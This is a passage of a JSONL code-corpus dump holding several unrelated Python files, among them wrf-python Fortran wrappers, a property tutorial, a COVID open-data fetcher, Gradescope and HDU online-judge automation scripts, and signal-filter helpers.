np.empty_like(qv)\n \n result = omgcalc(qv,\n tk,\n w,\n p,\n outview)\n \n return result\n\n\n@check_args(0, 3, (3,3))\n@left_iteration(3, 3, ref_var_idx=0)\n@cast_type(arg_idxs=(0,1))\n@extract_and_transpose()\ndef _tv(tk, qv, outview=None):\n \"\"\"Wrapper for virtual_temp.\n \n Located in wrf_rip_phys_routines.f90.\n \n \"\"\"\n if outview is None:\n outview = np.empty_like(tk)\n \n result = virtual_temp(tk,\n qv,\n outview)\n \n return result\n\n\n@check_args(0, 3, (3,3,3)) \n@left_iteration(3, 3, ref_var_idx=0, ignore_args=(3,))\n@cast_type(arg_idxs=(0,1,2))\n@extract_and_transpose()\ndef _wetbulb(p, tk, qv, psafile=psafilepath(), outview=None):\n \"\"\"Wrapper for wetbulbcalc.\n \n Located in wrf_rip_phys_routines.f90.\n \n \"\"\"\n if outview is None:\n outview = np.empty_like(p)\n \n errstat = np.array(0)\n errmsg = np.zeros(Constants.ERRLEN, \"c\")\n \n result = wetbulbcalc(p,\n tk,\n qv,\n outview,\n psafile,\n errstat,\n errmsg)\n \n if int(errstat) != 0:\n raise DiagnosticError(\"\".join(npbytes_to_str(errmsg)).strip())\n \n return result\n\n\n@check_args(0, 3, (3,3,3,2)) \n@left_iteration(3, 2, ref_var_idx=0, ignore_args=(4,))\n@cast_type(arg_idxs=(0,1,2,3))\n@extract_and_transpose()\ndef _srhel(u, v, z, ter, top, outview=None):\n \"\"\"Wrapper for dcalrelhl.\n \n Located in wrf_relhl.f90.\n \n \"\"\"\n if outview is None:\n outview = np.empty_like(ter)\n \n result = dcalrelhl(u, \n v, \n z, \n ter, \n top,\n outview)\n \n return result\n\n\n@check_args(2, 3, (3,2,3,3,3), stagger=(-3,None,None,None,-3)) \n@left_iteration(3, 2, ref_var_idx=2, ignore_args=(5,6,7,8))\n@cast_type(arg_idxs=(0,1,2,3,4))\n@extract_and_transpose()\ndef _udhel(zstag, mapfct, u, v, wstag, dx, dy, bottom, top, outview=None):\n \"\"\"Wrapper for dcalcuh.\n \n Located in calc_uh.f90.\n \n \"\"\"\n if outview is None:\n outview = np.empty_like(mapfct)\n \n tem1 = np.zeros((u.shape[0], u.shape[1], u.shape[2]), np.float64, \n order=\"F\")\n tem2 = np.zeros((u.shape[0], u.shape[1], u.shape[2]), np.float64, \n order=\"F\")\n \n result = dcalcuh(zstag, \n mapfct, \n dx, \n dy, \n bottom, \n top, \n u,\n v, \n wstag, \n outview, \n tem1, \n tem2)\n \n return result\n\n\n@check_args(0, 3, (3,3,3,3), stagger=(None, None, None, -3)) \n@left_iteration(3, 2, ref_var_idx=0)\n@cast_type(arg_idxs=(0,1,2,3))\n@extract_and_transpose()\ndef _pw(p, tv, qv, ht, outview=None):\n \"\"\"Wrapper for dcomputepw.\n \n Located in wrf_pw.f90.\n \n \"\"\"\n if outview is None:\n outview = np.empty(p.shape[0:2], p.dtype, order=\"F\")\n \n result = dcomputepw(p,\n tv,\n qv,\n ht,\n outview)\n \n return result\n\n\n@check_args(0, 3, (3,3,3,3,3,3)) \n@left_iteration(3, 3, ref_var_idx=0, ignore_args=(6,7,8))\n@cast_type(arg_idxs=(0,1,2,3,4,5))\n@extract_and_transpose()\ndef _dbz(p, tk, qv, qr, qs, qg, sn0, ivarint, iliqskin, outview=None):\n \"\"\"Wrapper for calcdbz.\n \n Located in wrf_user_dbz.f90.\n \n \"\"\"\n if outview is None:\n outview = np.empty_like(p)\n \n result = calcdbz(p,\n tk,\n qv,\n qr,\n qs,\n qg,\n sn0,\n ivarint,\n iliqskin,\n outview)\n \n return result\n\n\n@check_cape_args()\n@cape_left_iter()\n@cast_type(arg_idxs=(0,1,2,3,4,5), outviews=(\"capeview\", \"cinview\"))\n@extract_and_transpose(outviews=(\"capeview\", \"cinview\"))\ndef _cape(p_hpa, tk, qv, ht, ter, sfp, missing, i3dflag, ter_follow,\n psafile=psafilepath(), capeview=None, cinview=None):\n \"\"\"Wrapper for dcapecalc3d.\n \n Located in rip_cape.f90.\n \n \"\"\"\n if capeview is None:\n capeview = np.zeros(p_hpa.shape[0:3], p_hpa.dtype, order=\"F\")\n \n if cinview is None:\n cinview = np.zeros(p_hpa.shape[0:3], p_hpa.dtype, order=\"F\")\n \n errstat = np.array(0)\n errmsg = np.zeros(Constants.ERRLEN, \"c\")\n \n # note that p_hpa, tk, qv, and ht have the vertical flipped\n result = dcapecalc3d(p_hpa,\n tk,\n qv,\n ht,\n ter,\n sfp,\n capeview,\n cinview,\n missing,\n i3dflag,\n ter_follow,\n psafile,\n errstat,\n errmsg)\n \n if int(errstat) != 0:\n raise DiagnosticError(\"\".join(npbytes_to_str(errmsg)).strip())\n \n return result\n\n@check_args(0, 3, (3,3))\n@cloudfrac_left_iter()\n@cast_type(arg_idxs=(0, 1), outviews=(\"lowview\", \"medview\", \"highview\"))\n@extract_and_transpose(outviews=(\"lowview\", \"medview\", \"hightview\"))\ndef _cloudfrac(p, rh, lowview=None, medview=None, highview=None):\n \"\"\"Wrapper for dcloudfrace.\n \n Located in wrf_cloud_fracf.f90.\n \n \"\"\"\n if lowview is None:\n lowview = np.zeros(p.shape[0:2], p.dtype, order=\"F\")\n \n if medview is None:\n medview = np.zeros(p.shape[0:2], p.dtype, order=\"F\")\n \n if highview is None:\n highview = np.zeros(p.shape[0:2], p.dtype, order=\"F\")\n \n result = dcloudfrac(p, \n rh, \n lowview, \n medview, \n highview)\n \n return result\n\n\ndef _lltoxy(map_proj, truelat1, truelat2, stdlon,\n lat1, lon1, pole_lat, pole_lon,\n known_x, known_y, dx, dy, latinc, loninc, lat, lon,\n outview=None):\n \"\"\"Wrapper for dlltoij.\n \n Located in wrf_user_latlon_routines.f90.\n \n \"\"\"\n if outview is None:\n outview = np.zeros((2), dtype=np.float64, order=\"F\")\n \n errstat = np.array(0)\n errmsg = np.zeros(Constants.ERRLEN, \"c\")\n \n result = dlltoij(map_proj,\n truelat1,\n truelat2,\n stdlon,\n lat1,\n lon1,\n pole_lat,\n pole_lon,\n known_x,\n known_y,\n dx,\n dy,\n latinc,\n loninc,\n lat,\n lon,\n outview,\n errstat,\n errmsg)\n \n if int(errstat) != 0:\n raise DiagnosticError(\"\".join(npbytes_to_str(errmsg)).strip())\n \n return result\n\n\ndef _xytoll(map_proj, truelat1, truelat2, stdlon, lat1, lon1,\n pole_lat, pole_lon, known_x, known_y, dx, dy, latinc,\n loninc, x, y, outview=None):\n \"\"\"Wrapper for dijtoll.\n \n Located in wrf_user_latlon_routines.f90.\n \n \"\"\"\n if outview is None:\n outview = np.zeros((2), dtype=np.float64, order=\"F\")\n \n errstat = np.array(0)\n errmsg = np.zeros(Constants.ERRLEN, \"c\")\n \n result = dijtoll(map_proj,\n truelat1,\n truelat2,\n stdlon,\n lat1,\n lon1,\n pole_lat,\n pole_lon,\n known_x,\n known_y,\n dx,\n dy,\n latinc,\n loninc,\n x,\n y,\n outview,\n errstat,\n errmsg)\n \n if int(errstat) != 0:\n raise DiagnosticError(\"\".join(npbytes_to_str(errmsg)).strip())\n \n return result\n\n\n@check_args(0, 3, (3,3,3,3,3,3,2)) \n@left_iteration(3, 2, ref_var_idx=0, ignore_args=(7,))\n@cast_type(arg_idxs=(0,1,2,3,4,5,6))\n@extract_and_transpose()\ndef _ctt(p_hpa, tk, qice, qcld, qv, ght, ter, haveqci, outview=None):\n \"\"\"Wrapper for wrfcttcalc.\n \n Located in wrf_fctt.f90.\n \n \"\"\"\n if outview is None:\n outview = np.empty_like(ter)\n \n result = wrfcttcalc(p_hpa,\n tk,\n qice,\n qcld,\n qv,\n ght,\n ter,\n outview,\n haveqci)\n \n return result\n\n\n@check_args(0, 2, (2,))\n@left_iteration(2, 2, ref_var_idx=0, ignore_args=(1,))\n@cast_type(arg_idxs=(0,))\n@extract_and_transpose()\ndef _smooth2d(field, passes, outview=None):\n \"\"\"Wrapper for dfilter2d.\n \n Located in wrf_user.f90.\n \n \"\"\"\n # Unlike NCL, this routine will not modify the values in place, but \n # copies the original data before modifying it.\n \n if isinstance(field, np.ma.MaskedArray):\n missing = field.fill_value\n else:\n missing = Constants.DEFAULT_FILL\n \n if outview is None:\n outview = field.copy(order=\"A\")\n else:\n outview[:] = field[:]\n \n field_tmp = np.zeros(outview.shape, outview.dtype, order=\"F\") \n\n dfilter2d(outview, \n field_tmp, \n passes,\n missing)\n \n return outview\n\n\n@check_args(0, 3, (3,3,2)) \n@left_iteration(3, 3, ref_var_idx=0, ignore_args=(3,4,5))\n@cast_type(arg_idxs=(0,1,2))\n@extract_and_transpose()\ndef _monotonic(var, lvprs, coriolis, idir, delta, icorsw, outview=None):\n \"\"\"Wrapper for wrf_monotonic.\n \n Located in wrf_vinterp.f90.\n \n \"\"\"\n # If icorsw is not 0, then the input variable might get modified by the \n # fortran routine. We don't want this, so make a copy and pass that on.\n var = var.copy(order=\"A\") if icorsw != 0 else var\n \n if outview is None:\n outview = np.empty_like(var)\n \n result = wrf_monotonic(outview,\n var,\n lvprs,\n coriolis,\n idir,\n delta,\n icorsw)\n \n return result\n\n\n# Output shape is interp_levels.shape + field.shape[-2:]\n@check_args(0, 3, (3,3,3,3,3,2,2,2,3)) \n@left_iteration(3, combine_dims([(9, (-1,)),\n (0, (-2,-1))]), \n ref_var_idx=0, ignore_args=(9,10,11,12,13,14))\n@cast_type(arg_idxs=(0,1,2,3,4,5,6,7,8,9))\n@extract_and_transpose()\ndef _vintrp(field, pres, tk, qvp, ght, terrain, sfp, smsfp,\n vcarray, interp_levels, icase, extrap, vcor, logp,\n missing, outview=None):\n \"\"\"Wrapper for wrf_vintrp.\n \n Located in wrf_vinterp.f90.\n \n \"\"\"\n if outview is None:\n outdims = field.shape[0:2] + interp_levels.shape\n outview = np.empty(outdims, field.dtype, order=\"F\")\n \n errstat = np.array(0)\n errmsg = np.zeros(Constants.ERRLEN, \"c\")\n \n result = wrf_vintrp(field,\n outview,\n pres,\n tk,\n qvp,\n ght,\n terrain,\n sfp,\n smsfp,\n vcarray,\n interp_levels,\n icase,\n extrap,\n vcor,\n logp,\n missing,\n errstat,\n errmsg)\n \n if int(errstat) != 0:\n raise DiagnosticError(\"\".join(npbytes_to_str(errmsg)).strip())\n \n return result\n\n@check_args(0, 2, (2,2)) \n@left_iteration(2, 2, ref_var_idx=0)\n@cast_type(arg_idxs=(0,1))\n@extract_and_transpose()\ndef _wspd(u, v, outview=None):\n \"\"\"Wrapper for dcomputewspd.\n \n Located in wrf_wind.f90.\n \n \"\"\"\n if outview is None:\n outview = np.empty_like(u)\n \n result = dcomputewspd(outview,\n u,\n v)\n \n return result\n\n\n@check_args(0, 2, (2,2)) \n@left_iteration(2, 2, ref_var_idx=0)\n@cast_type(arg_idxs=(0,1))\n@extract_and_transpose()\ndef _wdir(u, v, outview=None):\n \"\"\"Wrapper for dcomputewdir.\n \n Located in wrf_wind.f90.\n \n \"\"\"\n if outview is None:\n outview = np.empty_like(u)\n \n result = dcomputewdir(outview,\n u,\n v)\n \n return result\n \n\n","sub_path":"src/wrf/extension.py","file_name":"extension.py","file_ext":"py","file_size_in_byte":25450,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"293679017","text":"#coding=utf-8\n# Python内置的@property装饰器就是负责把一个方法变成属性调用的:\n# 注意到这个神奇的@property,我们在对实例属性操作的时候,就知道该属性很可能不是直接暴露的,而是通过getter和setter方法来实现的。\n# 还可以定义只读属性,只定义getter方法,不定义setter方法就是一个只读属性:\n\n\n\n\nclass Student(object):\n\n @property\n def score(self):\n return self._score\n\n @score.setter\n def score(self, value):\n if not isinstance(value, int):\n raise ValueError('score must be an integer!')\n if value < 0 or value > 100:\n raise ValueError('score must between 0 ~ 100!')\n self._score = value\n\n def set_score(self, value):\n if not isinstance(value, int):\n raise ValueError('score must be an integer!')\n if value < 0 or value > 100:\n raise ValueError('score must between 0 ~ 100!')\n self._score = value\n\n def get_score(self):\n return self._score\n\ns = Student()\ns.score = 60\nprint('s.score =', s.score)\n\ns.set_score(70) # ok!\nprint(s.get_score())\ns.set_score(9999)\n\n# ValueError: score must between 0 ~ 100!\ns.score = 9999\n\n","sub_path":"com/classTest/highClassTest/propertyTest.py","file_name":"propertyTest.py","file_ext":"py","file_size_in_byte":1230,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"584602631","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n#\n# Usage: gen_json.py\n\n\"\"\" libs\n\"\"\"\nimport configparser\nimport os\nimport pandas as pd\nimport csv\nimport json\nimport pprint\nimport datetime\nimport urllib.error\nimport urllib.parse\nimport urllib.request\nimport http.client\nimport requests\nimport io\nimport chardet\n\n\"\"\" defs\n\"\"\"\ndef get_resource_file_dict(resource_file_dict_file):\n \n with open(resource_file_dict_file) as f:\n resource_file_dict = json.load(f)\n f.close()\n\n return(resource_file_dict)\n\ndef output_json(filepath, o_dict):\n\n f = open(filepath, 'w')\n json.dump(o_dict, f, indent=4, ensure_ascii=False)\n \n return()\n\ndef call_api(request_url):\n\n response_dict = None\n request = urllib.request.Request(request_url)\n\n try:\n with urllib.request.urlopen(request, timeout=3) as response:\n response_page = response.read()\n\n except urllib.error.HTTPError as e:\n w = 'HTTPError'\n print(\"%12s %s %s\" % (w, e.code, request_url))\n pass\n\n except urllib.error.URLError as e:\n w = 'URLError'\n print(\"%12s %s %s\" % (w, e.code, request_url))\n pass\n\n except http.client.BadStatusLine as e:\n w = 'BadStatusError'\n print(\"%12s %s %s\" % (w, e.code, request_url))\n pass\n\n else:\n response_dict = json.loads(response_page)\n\n return(response_dict)\n\n\ndef get_package_data():\n\n ckan_dict = {}\n resource_dict = {}\n \n for f_title in DATA_DICT:\n type = DATA_DICT[f_title]['type']\n dataset = DATA_DICT[f_title]['dataset']\n\n api_com = 'package_show' + '?id=' + dataset\n url = BASE_URL + '/api/3/action/' + api_com\n\n if type == \"url\":\n resp_dict = call_api(url)\n ckan_dict[f_title] = resp_dict\n resource_dict[f_title] = resp_dict['result']\n\n return(resource_dict)\n\ndef get_resource(f_title, url):\n \n res = urllib.request.urlopen(url)\n\n encoding = chardet.detect(res.read())['encoding']\n\n if encoding == None:\n # print(\"P0\", encoding)\n res = urllib.request.urlopen(url)\n res = res.read().decode('shift-jis')\n elif encoding == 'UTF-8-SIG':\n # print(\"P1\", encoding)\n res = urllib.request.urlopen(url)\n res = res.read().decode('utf-8-sig')\n else:\n # print(\"P1\", encoding)\n res = urllib.request.urlopen(url)\n res = res.read()\n \n df = pd.read_csv(io.StringIO(res))\n \n return (df)\n\ndef gen_patients_summary():\n\n # load inspections.csv\n inspections_filepath = WORK_DIR + \"/\" + TOOL_DIR + \"/\" + INPUT_DIR + \"/\" + 'inspections.csv'\n df_inspections = pd.read_csv(inspections_filepath)\n df_patients_summary = df_inspections\n \n # add column in inspections\n df_patients_summary['患者判明数'] = 0\n df_patients_summary['退院者数'] = 0\n df_patients_summary['死亡者数'] = 0\n df_patients_summary['軽症'] = 0\n df_patients_summary['中等症'] = 0\n df_patients_summary['重症'] = 0\n\n # load inspections.csv\n patients_filepath = WORK_DIR + \"/\" + TOOL_DIR + \"/\" + INPUT_DIR + \"/\" + 'patients.csv'\n df_patients = pd.read_csv(patients_filepath)\n\n # check for each patients info\n for index, row in df_patients.iterrows():\n patients_date = row['公表_年月日']\n\n # find patients in each inspection's day\n for index2, row2 in df_patients_summary.iterrows():\n summary_date = row2['年月日']\n\n if summary_date == patients_date:\n patients_num = df_patients_summary.loc[index2, '患者判明数']\n df_patients_summary.loc[index2, '患者判明数'] = patients_num + 1\n break\n\n return(df_patients_summary)\n\ndef save_df(f_title, df):\n \n filename = f_title + '.csv'\n filepath = WORK_DIR + \"/\" + TOOL_DIR + \"/\" + INPUT_DIR + \"/\" + filename\n print(\"create:\", filename)\n df.to_csv(filepath)\n\n return()\n\ndef get_resource_file(resource_dict):\n\n for f_title in DATA_DICT:\n format = DATA_DICT[f_title]['type']\n dataset = DATA_DICT[f_title]['dataset']\n filename = DATA_DICT[f_title]['filename']\n\n if format == 'url':\n url = resource_dict[f_title]['resources'][0]['url']\n # リソースのcsvファイルを取得し、文字コードをutf8へ変換後\n # dfに格納\n df = get_resource(f_title, url)\n # dfをcsvファイルに保存\n save_df(f_title, df)\n \n elif format == \"file\":\n if f_title == \"patients_summary\":\n # patients_summaryのデータをinspectionとpatientsの\n # データから生成\n df = gen_patients_summary()\n save_df(f_title, df)\n else:\n print(\"wrong format\")\n exit()\n \n return()\n\ndef show_package_info(resource_dict):\n\n for f_title in DATA_DICT:\n format = DATA_DICT[f_title]['type']\n\n if format == \"url\":\n last_modified = resource_dict[f_title][\"resources\"][0][\"last_modified\"]\n print( f_title, last_modified)\n\n return()\n\ndef main():\n\n # パッケージのメタデータを取得\n resource_dict = get_package_data()\n\n show_package_info(resource_dict)\n \n filename = \"package.json\"\n filepath = WORK_DIR + \"/\" + TOOL_DIR + \"/\" + INPUT_DIR + \"/\" + filename\n output_json(filepath, resource_dict)\n \n get_resource_file(resource_dict)\n\nif __name__ == '__main__':\n\n config = configparser.ConfigParser()\n path = os.getcwd()\n config.read('{}/../config.ini'.format(path), encoding=\"utf-8\")\n config_section = 'development'\n\n WORK_DIR = config.get(config_section, 'WORK_DIR')\n\n INPUT_DIR = config.get(config_section, 'INPUT_DIR')\n OUTPUT_DIR = config.get(config_section, 'OUTPUT_DIR')\n TOOL_DIR = config.get(config_section, 'TOOL_DIR')\n RESOURCE_FILE = config.get(config_section, 'RESOURCE_FILE')\n BASE_URL = config.get(config_section, 'CKAN_URL')\n \n DEBUG = 1\n\n \"\"\"\n hotline: 新型コロナコールセンター相談件数\n visit: 新型コロナ受診相談件数\n inspections: 検査実施数\n patients: 福岡市新型コロナ陽性患者発表情報\n \"\"\"\n\n resource_file_path = WORK_DIR + \"/\" + TOOL_DIR + \"/\" + RESOURCE_FILE\n DATA_DICT = get_resource_file_dict(resource_file_path)\n \n main()\n","sub_path":"script/get_data.py","file_name":"get_data.py","file_ext":"py","file_size_in_byte":6412,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"218032003","text":"import requests\nfrom bs4 import BeautifulSoup\n\nclass Connection():\n '''The main connection class that keeps state about the current connection.'''\n \n def __init__(self):\n '''Initialize the session for the connection.'''\n self.session = requests.Session()\n self.courses_id = []\n # login state\n # 0 = NOT LOGGED IN, 1 = LOGGED IN\n self.state = 0\n\n def login(self, user, pwd):\n '''\n Login to gradescope using email and password.\n Note that the future commands depend on account privilages.\n '''\n init_resp = self.session.get(\"https://www.gradescope.com/\")\n parsed_init_resp = BeautifulSoup(init_resp.text, 'html.parser')\n #print(init_resp)\n #print(parsed_init_resp.find_all('form'))\n\n for form in parsed_init_resp.find_all('form'):\n if form.get(\"action\") == \"/login\":\n for inp in form.find_all('input'):\n if inp.get('name') == \"authenticity_token\":\n auth_token = inp.get('value')\n\n login_data = {\n \"utf8\": \"✓\",\n \"session[email]\": user,\n \"session[password]\": pwd,\n \"session[remember_me]\": 0,\n \"commit\": \"Log In\",\n \"session[remember_me_sso]\": 0,\n \"authenticity_token\": auth_token,\n }\n \n login_resp = self.session.post(\"https://www.gradescope.com/login\", params=login_data)\n if len(login_resp.history) != 0:\n if login_resp.history[0].status_code == requests.codes.found:\n self.state = 1\n return True\n else:\n return False\n\n\n\n","sub_path":"login.py","file_name":"login.py","file_ext":"py","file_size_in_byte":1680,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"504235201","text":"\"\"\"\nCollection of functions to perform spectral analysis on 1-D signals\n\"\"\"\nimport numpy as np\nfrom scipy.fftpack import fft, ifft\nfrom statsmodels.tsa.stattools import acf\n\n\ndef band_pass(signal, low, high):\n \"\"\"\n Band pass filter working in the frequency domain\n\n :param signal: timeseries\n :param low: lower bound of the frequency band to keep\n :param high: higher bound of the frequency band to keep\n :return: filtered signal\n :rtype: numpy.array\n \"\"\"\n return np.array(\n i.real for i in ifft([i for i in fft(signal) if low < i < high])\n )\n\n\ndef remove_band(signal, low, high):\n \"\"\"\n Band filter working in the frequency domain. The frequency band specified\n is removed from the signal's spectrum\n\n :param signal: timeseries\n :param low: lower bound of the frequency band to eliminate\n :param high: higher bound of the frequency band to eliminate\n :return: filtered signal\n :rtype: numpy.array\n \"\"\"\n return np.array(\n i.real for i in ifft([i for i in fft(signal) if not low < i < high])\n )\n\n\ndef cut_frequencies(signal, threshold, keep_high=False):\n \"\"\"\n Cuts frequencies of the spectrum of a signal at a threshold\n\n :param signal: timeseries\n :param threshold: threshold to cut signal's spectrum\n :param keep_high: if true only frequencies > threshold will be kept,\n otherwise low frequencies will be kept\n :return: filtered signal\n :rtype: numpy.array\n \"\"\"\n if keep_high:\n return np.array(\n i.real for i in ifft([i for i in fft(signal) if i < threshold])\n )\n return np.array(\n i.real for i in ifft([i for i in fft(signal) if i > threshold])\n )\n\n\ndef autocorr(signal, **kwargs):\n \"\"\"\n Calculates autocorrelation coefficients for a signal\n\n :param signal: timeseries\n :param kwargs: keyword arguments of statsmodels.tsa.statstool.acf\n :return: autocorrelation coefficients\n :rtype: numpy.array\n \"\"\"\n return acf(signal, **kwargs)\n","sub_path":"src/spectral_analysis/spectrum.py","file_name":"spectrum.py","file_ext":"py","file_size_in_byte":2019,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"141410254","text":"import requests\nimport datetime\nimport re\nfrom conf import oj_user_info\nfrom models.local_pg_models import engine as local_engine, HduSubmission\nfrom models.utils import SessionBuilder, RemainList, local_psql as lpsql\n\nSETTING = {\n 'host': 'http://acm.hdu.edu.cn/',\n 'login': 'userloginex.php?action=login',\n 'submit': 'submit.php?action=submit',\n 'submissions': 'status.php'\n}\n\nCONFIG = {\n 'max_record_count': 15, # 每一页的记录条数上限\n 'code_min_bytes': 50,\n 'code_max_bytes': 65536\n}\n\nSTATUS = { # hdu -> sdustoj 的(状态, 得分)代换\n 'Accepted': ('AC', 100),\n 'Wrong Answer': ('WA', 0),\n 'Presentation Error': ('PE', 50),\n 'Compilation Error': ('CE', 0),\n 'Runtime Error': ('RE', 0), # 这个状态比较特别,他会有一串附加信息\n 'Time Limit Exceeded': ('TLE', 0),\n 'Memory Limit Exceeded': ('MLE', 0),\n 'Output Limit Exceeded': ('OLE', 0),\n 'Queuing': ('PD', 0),\n 'Compiling': ('CP', 0),\n 'Running': ('RJ', 0),\n '': ('PD', 0) # 防出错\n}\n\nFINISHED_STATUS = [ # 表示已完成的状态\n 'Accepted',\n 'Wrong Answer',\n 'Presentation Error',\n 'Compilation Error',\n 'Runtime Error',\n 'Time Limit Exceeded',\n 'Memory Limit Exceeded',\n 'Output Limit Exceeded'\n]\n\n\nauth_user, auth_pass = oj_user_info['hdu']\n\nsession = requests.session()\n\n\ndef get_url(url, *args):\n return SETTING['host'] + SETTING[url] % args\n\n\ndef do_login():\n data = {\n 'username': auth_user,\n 'userpass': auth_pass,\n 'login': 'Sign In'\n }\n res = session.post(get_url('login'), data=data)\n print(\"HDU Login: %s\" % (res.status_code,))\n return res.status_code == 302 or res.status_code == 200\n\n\ndef do_submit(pid, lang, code):\n data = {\n 'check': 0,\n 'problemid': pid,\n 'language': lang,\n 'usercode': code,\n }\n res = session.post(get_url('submit'), data=data)\n return res.url == get_url('submissions')\n\n\ndef get_submissions(page=0):\n data = {\n 'first': page,\n 'user': auth_user,\n }\n res = session.get(get_url('submissions'), params=data)\n regex = \"\"\"\"\"\" + \\\n \"\"\"| (\\\\d+) | \"\"\" + \\\n \"\"\"([-\\\\d: ]+) | \"\"\" + \\\n \"\"\"(([\\\\w ]+)|\"\"\" + \\\n \"\"\"([\\\\w ]+)) | \"\"\" + \\\n \"\"\"(\\\\d+) | \"\"\" + \\\n \"\"\"(\\\\d*)MS | \"\"\" + \\\n \"\"\"(\\\\d*)K | \"\"\" + \\\n \"\"\"()?(\\\\d+) ?B | \"\"\" + \\\n \"\"\"([\\\\S]*?) | \"\"\" + \\\n \"\"\"([\\\\S\\\\s]*?) | \"\"\" + \\\n \"\"\"
\"\"\"\n rex = re.findall(regex, res.text)\n li = [{\n 'run_id': it[0],\n 'submit_time': it[1],\n 'status': it[3] if len(it[3]) > 0 else it[4],\n 'pid': it[5],\n 'time': it[6],\n 'memory': it[7],\n 'length': it[9],\n 'language': it[10],\n 'author': it[11]\n } for it in rex]\n # runID, submitDate, status, pid, time, memory, codeLength, language, author\n return li\n\n\ndef request_submit(sid, pid, lang, code):\n \"\"\"\n 向HDU提交。\n :param sid: sdustoj的提交id\n :param pid: hdu的题目id\n :param lang: hdu的语言代号\n :param code: 代码\n :return: \n \"\"\"\n # 首先检查代码长度限制。\n byte_length = len(code.encode('gb2312')) # 经过确认,hdu的代码大概是采用gb2312确认代码长度的\n if not CONFIG['code_min_bytes'] <= byte_length <= CONFIG['code_max_bytes']:\n return None, {\n 'status': 'LLE',\n 'score': 0,\n 'finished': True\n }\n # 长时间不用之后,登录状态可能会掉。需要注意修复。\n retry_count = 1\n while retry_count >= 0:\n do_result = do_submit(pid, lang, code)\n if do_result:\n # 提交成功。由于hdu没有runid的返回机制,因此只能选择使用数据库全时刻轮询,并且在提交时立刻查询。\n psql = lpsql.session()\n\n submission_messages = get_submissions(0) # 直接抓取一次status表的第一页的数据\n if submission_messages is None or len(submission_messages) <= 0: # 这意味着出错了\n return None, {\n 'status': 'SF',\n 'score': 0,\n 'finished': True\n }\n new_submission = submission_messages[0] # 获得第一条数据\n\n # 构造新的提交缓存到中间数据库\n submission = HduSubmission(\n run_id=new_submission['run_id'],\n pid=new_submission['pid'],\n time=new_submission['time'],\n memory=new_submission['memory'],\n length=new_submission['length'],\n language=new_submission['language'],\n status=new_submission['status'],\n submission_id=sid,\n submit_time=datetime.datetime.now(),\n update_time=datetime.datetime.now(),\n finished=False\n )\n psql.add(submission)\n psql.commit()\n print(\"-- Hdu Update: run_id=%s\" % (new_submission['run_id'],))\n return {\n 'run_id': new_submission['run_id']\n }, None\n else:\n retry_count -= 1\n do_login() # 针对可能的错误,试图进行一次重新登陆。\n return None, {\n 'status': 'SF',\n 'score': 0,\n 'finished': True\n }\n\n\ndef update_submit(sid, status):\n \"\"\"\n 更新提交信息。\n :param sid: sdustoj的提交id\n :param status: 更新状态内容\n :return: (isOk, status, update)\n \"\"\"\n # 根据协定,status的内容包括run_id\n run_id = status['run_id']\n psql = lpsql.session()\n submission = psql.query(HduSubmission).filter_by(run_id=run_id).first()\n if submission is not None:\n finished = submission.finished\n ret_status = None if finished else status\n if re.match('Runtime Error', submission.status) is not None: # 这里需要特别处理一下RE状态。\n status, score = STATUS['Runtime Error']\n else:\n status, score = STATUS[submission.status]\n ret_update = {\n 'status': status,\n 'score': score,\n 'time': submission.time,\n 'memory': submission.memory,\n 'finished': finished\n }\n return finished, ret_status, ret_update\n else: # 找不到相关记录。这表示出错了,返回提交失败的状态。\n return True, None, {\n 'status': 'SF',\n 'score': 0,\n 'time': '-1',\n 'memory': '-1',\n 'finished': True\n }\n\n\ndef reptile_submit():\n \"\"\"\n 爬取所有的提交并刷新到中间数据库。\n :return: \n \"\"\"\n psql = lpsql.session()\n submissions = psql.query(HduSubmission).filter_by(finished=False).order_by(HduSubmission.id).all()\n if len(submissions) > 0: # 有未完成的内容,确认进行查询。\n print(\"Hdu analyse submissions count %s @ %s\" % (len(submissions), datetime.datetime.now()))\n remain = RemainList(submissions) # 构成一个剩余列表,以便排查\n page = 0\n while True:\n records = get_submissions(page) # 获取该页的所有记录\n for record in records:\n run_id = int(record['run_id'])\n submission = remain.pop(lambda s: s.run_id == run_id)\n if submission is not None: # 找到了与当前网页记录匹配的数据库项目\n # 从记录更新数据库\n submission.time = record['time']\n submission.memory = record['memory']\n submission.status = record['status']\n submission.finished = record['status'] in FINISHED_STATUS\n print(\"Hdu Reptile Submission: run_id=%s\" % (run_id,))\n if len(records) < CONFIG['max_record_count'] or remain.is_empty(): # 满足了退出条件\n break\n page += 1\n psql.commit()\n\n\ndef init():\n if not do_login():\n raise Exception('Login failed. Please check your authentication or network.')\n\ninit()\n\n","sub_path":"Judge/virtual-judge/functions/hdu.py","file_name":"hdu.py","file_ext":"py","file_size_in_byte":8504,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"48303655","text":"#!/usr/bin/python3\nimport sys\n\ndef solver(file):\n\n\tdef solve(n):\n\t\tif (n == 0): return \"Case #{:d}: INSOMNIA\\n\".format(c)\n\t\tres = set()\n\t\tk = 1\n\t\twhile (len(res) != 10):\n\t\t\tres = res.union(set(str(k * n)))\n\t\t\tk += 1\n\t\treturn \"Case #{:d}: {:d}\\n\".format(c, (k - 1) * n)\n\twith open(file, 'r') as f:\n\t\tf.readline()\n\t\tc = 1\n\t\twith open(\"out.txt\", 'w') as w:\n\t\t\tfor line in f:\n\t\t\t\tw.write(solve(int(line.split()[0])))\n\t\t\t\tc += 1\n\nif __name__ == \"__main__\":\n\tif (len(sys.argv) == 2): solver(sys.argv[1])\n\telse: raise IndexError(\"Not enough arguments.\")\n","sub_path":"codes/CodeJamCrawler/16_0_1/morloch6174/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":547,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
